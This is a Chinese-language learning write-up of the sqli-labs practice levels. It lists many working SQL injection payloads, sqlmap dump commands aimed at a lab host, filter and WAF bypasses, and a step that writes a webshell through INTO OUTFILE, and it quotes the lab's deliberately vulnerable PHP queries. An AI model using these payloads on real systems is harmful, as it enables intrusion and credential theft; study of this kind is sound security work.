0%

sqli-labs练习

sqlib

环境搭建

本来想用阿里云搭建的,然后续费了一年,发觉阿里的那个防御有点烦,注入下被检测到就ban ip,搞得我都没法测试,最后就用docker搭建了

1
2
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 4005:80 --rm acgpiano/sqli-labs

sqli-labs1

拿到这个网站,不知道要干嘛。。。输入?id=1后便开始注入之旅

注入数据库名

1
http://43.247.91.228:84/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

emails
referers
uagents
users

拿到数据库名,

注入表名

users: id,email_id
emails: id,email_id
uagents:id,uagent,ip_address,username
referers: id,referer,ip_address

注入列名

id,username,password

1
http://43.247.91.228:84/Less-1/

这里遍历1,2,3遍历下去就可以拿到所有用户名和密码了

sqlmap注入

1
sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id --dbs

数据库名
[] challenges
[
] information_schema
[] mysql
[
] performance_schema
[*] security

1
sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security --tables

表名
+———-+
| emails |
| referers |
| uagents |
| users |
+———-+

1
sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -T users --columns

列名
+———-+————-+
| Column | Type |
+———-+————-+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+———-+————-+

1
sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -T users --columns -C username,password --dump

dump数据库
+———-+————+
| username | password |
+———-+————+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+———-+————+

1
sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -a

dump所有该库里的所有表

mysql学习

1
2
3
4
5
show databases; #查看数据库
use database #选择数据库
select table_name from information_schema.tables where table_schema=database(); #查看数据库中表
select column_name from information_schema.columns where table_name='user'; #查看数据库中列名
select User,Password from user; #查询数据

问题

–+ 以及– 以及#注释方法有何不同,在这里只有–+合适,这是为什么

解决:

  1. #号用urlencode一次就可以
  2. – 将空格用urlencode一次
  3. –+ 直接就可以

原因:

  1. http请求不包括#号
  2. url中末尾包含空格不会发送空格,需转义
  3. +号在保留字符内,会被编码成空格

源码学习

注意到,这里是直接
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
然后直接查询,导致了sql注入,还有这里是字符型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

sqli-labs2

这里变成了数字型注入,也就是说不用引号闭合

表查询

emails,emails,referers,referers,referers,uagents,uagents,uagents,uagents,users,users,users

列查询

id,username,password

同理可得

payload

1
2
3
?id=0 union select 1,2,group_concat(column_name,0x3a) from information_schema.columns where table_name='users'

?id=0 union select 1,2,group_concat(username,0x3a,password) from users

skctf_flag

源码

这里少了个单引号,引起来,所以叫数字型注入,差别在于引号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>

sqli-labs3

1
?id=1'

先测试下有没反应,报错,证明可能有注入?
然后测试原来的各种方法都没有效果,order就是没反应

去看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

发觉是用括号包括了起来,要闭合掉括号才可以,

payload

1
2
3
?id=2') 构造语句 --+

?id=0') union select 1,2,group_concat(table_name,0x3a) from information_schema.tables where table_schema=database() --+

同样的过程,不再重复做了

sqli-labs4

payload

1
?id=1") order by 3 --+

我这题盲猜出来的。。。我弄完发觉我不懂为什么这样,还是看源码

源码

1
2
3
4
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

php不太懂,所以没看怎么懂,调试了下就懂了

1
2
3
4
5
6
7
8
9
10
php > $id = '1") order by 3 --+';
php > echo $id;
1") order by 3 --+
php > $id = '"' . $id . '"';
php > echo $id;
"1") order by 3 --+"
php > $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
php > echo $sql;
SELECT * FROM users WHERE id=("1") order by 3 --+") LIMIT 0,1
php >

第一句会将字符串两边都加上双引号,
第二句然后在将id放进里面去,也就是说我们输入的会被加上个 (“ 这个前缀,所以闭合的话“)闭合掉,后面的就可以正常执行了

思考

  1. 如何判断他是这种方式的注入?

只能通过fuzz嘛

sqli-lab5

payload

知识点1

报错注入原理

简单解释下: 就是group by进行分组查询的时候报错,因为我们是将 concat((select database()),floor(rand(0)*2)) 作为分组查询依据,

结合:

  1. 按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
MariaDB [information_schema]> select floor(rand(0)*2) from USER_PRIVILEGES;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
+------------------+
  1. 当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,就在这时,floor(rand(0)2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了!所以报错!

而这里,rand()*2的话存在一定随机性,可能是0,可能是1,假设随机到两个0的话就会报错了,而我们需要他报错,这里就在利用到rand(0)的伪随机

1
?id=0' union select null,count(*),concat((select database()), floor(rand(0)*2)) as value from information_schema.tables group by value --+

这里学了个新知识点limit args1 args2
从第args1条数据开始返回args2条数据

1
?id=0' union select null,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1), floor(rand(0)*2)) as value from information_schema.tables group by value --+

这里轮询下就能报出所有表

爆出密码了

1
?id=0' union select null,count(*),concat((select password from users  limit 3,1), floor(rand(0)*2)) as value from information_schema.tables group by value --+

接下来就是轮询遍历出所有数据了,这里建议用burp还是脚本吧,不手动

思考

  1. 有没有办法可以一次查询所有数据,类似于group_concat这个,在这里怎么用不上?

sqli-labs6

这里只要把第五关的单引号换成双引号就行了额

sqli-labs7

先测试是否存在注入

  1. 单引号报错
  2. 测试payload
1
id=1')) or 1=1--+

这里可以看出用 1’))可以闭合

  1. 测存在几列
1
?id=1')) group by 3--+
  1. 联合查询
1
?id=1')) union select 1,2,table_name from information_schema.tables where table_schema=database() --+

测试了下并无回显,题目要求用dump file,意思写文件,然后连webshell?
测试下呗

  1. 查询权限
1
?id=1')) and (select count(*) from mysql.user)>0 --+
  1. 写文件
1
?id=1')) union select version(),user(),database() into outfile "1.php" --+

发觉可以写入,但我没法读啊,玩球

1
2
root@f34537b10355:/etc/mysql# find / -name 1.php
/var/lib/mysql/security/1.php

写webshell

1
?id=1')) union select version(),user(),database() into outfile "/var/www/html/Less-7/1.php" --+

也没有屁用,因为我没有写web目录权限,不玩了。。。就这样吧
先放着

问题

  1. 这种注入适用于配置不当情况下,如何测试是否写入成功?
  2. 如何知道写入路径?
  3. 为什么写入成功也是报语法错

后续

问了一下大佬,说改web目录就行了,chmod 777走一波,发觉可以写了,webshell写上,连接成功,后面随缘吧,思路就是这样

sqli-labs8

1
?id=1' order by 3 --+

测试了下,单引号闭合,列数为3

这题只要注入成功就会有回显,注入失败就不会有回显

length函数

  1. 数据库名长度
1
?id=1' and length(database())=8 --+
  1. 数据库名
1
2
3
?id=1' and left(database(),1) < 's' --+
?id=1' and ascii(substr((select database()),2,1))>101 --+
?id=1' and left(database(),8) < 'security' --+

爆出表名

1
?id=1' and ascii(substr((select database()),2,1))>101

这个过程就是重复过程了,不再测试,利用bool的真与假判断

sqli-labs9

1
?id=1' and sleep(5) --+

测试了下,存在时间盲注,这里sleep确实执行了,等待了5秒,这个其实就是通过sleep执行情况,能执行的话就证明语句正确

同时在利用bool判断就可以了

1
?id=1' and if(ascii(substr(database(),1,1))>115,sleep(5),1) --+

注入第一位,
这里利用if判断,成功便返回执行sleep(5),失败不执行

原理懂了就过

sqli-labs10

同理

1
?id=1" and if(ascii(substr(database(),1,1))>114,sleep(5),1) --+

替换单引号为双引号

sqli-labs11

1
0' union select group_concat(id,0x3a),group_concat(email_id) from emails--+

没看出跟原来的有什么区别,还是报错,然后就常见注入手段就行了

sqli-labs12

1
0") union select group_concat(id,0x3a),group_concat(email_id) from emails#

闭合好就ok了

sqli-labs13

1
1') order by 3#

万能密码

1
1') or 1=1 #

这个可以注入了,接下来用时间盲注我觉得可以完成

这里用or会出现回显,成功边会出现success

布尔注入

1
' )or  length(database())=8 #

时间,这里sleep会等好久,不知道为什么,先放着,用bool就可以注入成功了

1
' )or if(ascii(substr(database(),1,1))>114,sleep(5),1) #

还可以进行报错注入,因为有提示

sqli-labs14

1
" or 1=1 #

注入成功

同理,接下来就是报错或者盲注了

1
" union select count(*),concat((select database()), floor(rand(0)*2)) as value from information_schema.tables group by value#

报错注入

sqli-labs15

单双引号都不报错,有点意思

手动测试

1
1' or 1=1 #

发觉这个payload是可以登录的,单引号,接下来又是盲注?

1
1' or  length(database())=8 #

成了,不测试了后面的,这个太麻烦了

sqli-labs16

1
1") or 1=1 #

测试了下,这个payload能登录,所以后面同理

sqli-labs17

测试了好些个,没测出什么注入?
题目说是update注入,后面看了源码后才知道

1
2
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);

这里update注入要将语句放前面,前面的的都是查询语句,现在变成update,where后面不可以联合查询了

1
2
admin #用户名
1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) # 密码

sqli-labs18

又学习到了,uagent注入,报错注入的函数
extractvalue以及updatexml
这里传入的第二个参数不为xpath字符串就会报错,比原来的报错注入简单些

1
'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
1
'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1,1,1)#

其余不测试了,一样的

sqli-labs19

1
'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1

。。。说是这么说,改掉就行?我怎么改都成功不了,先放着

sqli-labs20

1
uname=admin' and extractvalue(1, concat(0x7e,(select @@basedir),0x7e)) #

burp抓包抓到取cookie的包后,改就完事了

sqli-labs21

1
admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)))#

base64编码过后传就对了

sqli-labs22

1
admin1" and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

好了,改个双引号的事情?

sqli-labs23

1
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and 1 ='1

这里注入我原来不知道为什么没法利用注释绕过,看了wp后发觉他过滤了注释符号,所以我在本地mysql测试了下,如何闭合引号就好了

1
MariaDB [mysql]> select 1,2 from host where host='1' union select table_name from information_schema.tables where table_schema=database() and 1 ='1 ';

原生语句,这里我只要把前后闭合掉就好了

这里还学到别人的,在select里嵌套一层select就行,我是利用where 条件 and 1就是相当于条件而已

1
-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

sqli-labs24

这题有点意思啊,利用 二次注入,第一次,注册将注入语句放入数据库

第二次,利用已存在的注入语句,修改admin密码

具体过程

sqli-labs25

本关主要为 or and 过滤,如何绕过 or 和 and 过滤。一般性提供以下几种思路:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&& or=||

1
id=0' union select 1,2,group_concat(table_name) from infOoRrmation_schema.tables where table_schema=database() --+

..过滤了or,没过滤oorr啊,让他去掉or后还有or就好了

sqli-labs25a

1
?id=1 oorr 1=1 --+

同理

sqli-labs26

%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

空格过滤绕过

1
?id=0'%a0union%a0select%a01,2,group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0anandd%a0'1

not easy,绕过越来越难了,结合了各种鬼东西

sqli-labs26-a

1
?id=1'%a0anandd%a0sleep(5)%a0aandnd%a0'1

可以时间盲注,不过太麻烦了

1
?id=0')%a0union%a0select%a01,2,group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0anandd%a0('1

这个。。。我忘记闭合后面的括号里,测了好久,还感觉wp是错的

sqli-labs27

1
?id=0'%a0unIon%a0seLect%a01,database(),3||'1

大小写混搭就好

sqli-labs27-a

1
?id=0"%a0unIon%a0seLect%a01,database(),3||"1

换成双引号就好了

sqli-labs28

1
?id=0')%a0unIon%a0seLect%a01,database(),3||('1

括号闭合

sqli-labs28-a

1
?id=0')%a0unIon%a0seLect%a01,database(),3||('1

一样的?

sqli-labs29

1
?id=0' union select 1,2,database() --+

waf很简单?,看了下题解,似乎不是我这么做的,这里利用的是http的参数污染

1
?id=0&&id=-1' union select 1,2,database() --+

jsp获取了第一个参数,然后(apache)php获取第二个参数,我们利用这个参数污染可以绕过waf,也就是说他过滤了第一个参数,我们依然可以注入

sqli-labs30

1
?id=0" union select 1,2,database() --+

一样可以直接绕过,测试waf

1
?id=1&&id=0" union select 1,2,database() --+

sqli-labs31

1
?id=0") union select 1,2,database() --+

都很easy?

1
?id=1&&id=0") union select 1,2,database() --+

sqli-labs32

1
?id=-1%df'union select 1,user(),3--+

这里加个%df,将\和%df合成绕过就行了

sqli-labs33

1
?id=0%df' union select 1,database(),version() --+

一样的?

sqli-labs34

1
0%df'union%20select%20database(),version()%20#

一样的套路也可以过啊

sqli-labs35

1
?id=-1 union select 1,user(),database() --+

sqli-labs36

1
?id=0%df' union select 1,database(),version() --+

sqli-labs37

1
0%df'union%20select%20database(),version()%20#

38

1
?id=0' union select 1,database(),version() --+

堆啥叠,直接联合查询就好了

1
?id=1';insert into users(id,username,password) values (17,'hello','world'); --+

插入成功

39

1
?id=0 union select 1,database(),version() --+

数字型注入

40

1
?id=0') union select 1,database(),version() --+

闭合括号

41

1
?id=0 union select 1,database(),version() --+

数字型,错误不会显示

42

1
login_password=1' or 1=1 --+&login_user=admin&mysubmit=Login

找注入点,然后插入就对了,堆叠注入没啥好说这里

43

1
login_password=1') or 1= 1 --+&login_user=admin&mysubmit=Login

闭合括号

44

1
login_password=1' or 1=1 --+ &login_user=1&mysubmit=Login

盲注,无回显而已,还是可以注入的

45

1
login_password=1') or 1=1 --+&login_user=1&mysubmit=Login

一样的盲注,无回显

46

数字注入没用sort=1这种

测试后发觉

1
?sort=rand(true)

true和false的排序结果不一样,所以可以进行bool注入

还可以进行报错注入

1
sort=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand(0)*2)) limit 0,1) --+

还可以利用

1
sort=1 into outfile '123.php'

50

后面order加堆叠,我第一关就试了堆叠,所以这里不尝试了

总结

目前只知道原理了,后面得通过实战去测试

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/ca25cf0b/
版权声明:转载请注明出处!